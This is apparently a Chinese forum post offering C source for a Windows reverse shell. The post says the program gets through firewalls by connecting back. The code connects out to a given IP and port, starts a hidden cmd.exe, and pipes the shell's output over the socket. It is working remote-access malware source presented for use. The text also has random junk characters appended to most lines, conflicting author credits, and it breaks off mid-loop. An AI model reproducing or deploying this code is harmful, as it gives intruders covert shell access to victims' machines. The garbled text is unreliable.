这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]#`bYh^y
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/* ============================== ~1p
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Rebound port in Windows NT Lxl?6wZ
By wind,2006/7 3iB8QO;pp
===============================*/ b~r ?#2K
#include
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#include [30e>bSf`
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#pragma comment(lib,"wsock32.lib") ctf'/IZ5
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void OutputShell(); 1*Z}M%
SOCKET sClient; CXa$QSu >
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @I%m}>4Jm
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void main(int argc,char **argv) uaiG(O
{ B$)KZR(u
WSADATA stWsaData; d/e9LK
int nRet; c8(.bmvF
SOCKADDR_IN stSaiClient,stSaiServer; [*Lh4K
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if(argc != 3) BP` UB
{ -Jb
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printf("Useage:\n\rRebound DestIP DestPort\n"); t<4+CC2H
return; BJqM=<nQ
} W*P/~U=
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WSAStartup(MAKEWORD(2,2),&stWsaData); 74Lq!e3hMF
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )pg?Z M9
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stSaiClient.sin_family = AF_INET; wEdXaOEB5
stSaiClient.sin_port = htons(0); ,$*$w<
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'INdZ8j_
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ C@xh$(y
printf("Bind Socket Failed!\n"); nfc&.(6x<
return; K1Uur>Pk%
} OfPWqNpO
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stSaiServer.sin_family = AF_INET; WO|#`HM2
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $///N+B
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); vuHqOAFNs
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $cjidBi`):
{ b?y3m +V`
printf("Connect Error!"); )8yNqnD
return; 9\V^q9l
} )nQ.6
OutputShell(); z`lDD
} g^=p)h3
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void OutputShell() $cnIsyKWY
{ K"eW.$
char szBuff[1024]; QDs]{F#
SECURITY_ATTRIBUTES stSecurityAttributes; c'[l%4U8[
OSVERSIONINFO stOsversionInfo; *U8Pjb1
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8@Pv
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STARTUPINFO stStartupInfo; -Zkl\A$>
char *szShell;
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PROCESS_INFORMATION stProcessInformation; PC/Oo~Gx
unsigned long lBytesRead; fs\l*nBig
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H{yeN 5
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tv5G']vO\
stSecurityAttributes.lpSecurityDescriptor = 0; I6~.sTl
stSecurityAttributes.bInheritHandle = TRUE; XB
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $o0o5 ^Z-
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); W-2,QVp%
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); #2s$dI
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DR;rK[f
stStartupInfo.wShowWindow = SW_HIDE; uL`;KD
stStartupInfo.hStdInput = hReadPipe; :>] =YE
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,dP-sD;<
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GetVersionEx(&stOsversionInfo); |\Nu+w
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switch(stOsversionInfo.dwPlatformId) e<#t]V
{ /^SIJS@^`>
case 1: LY(YgqL
szShell = "command.com"; F|Pf-.r`t
break; N*y09?/h
default: \9N1:
szShell = "cmd.exe"; QX-%<@
break; /I(IT=kp
} >+ulLQqe
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &'Pwz
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send(sClient,szMsg,77,0); kr[p4X4
while(1) Y[#EFM
{ V.?N29CA|
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); WBvh<wTw;
if(lBytesRead) ',$Uw|N
{ t"4RGO)jh
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2iO AUo+
send(sClient,szBuff,lBytesRead,0); *:L-/Q)i
} "^Y)&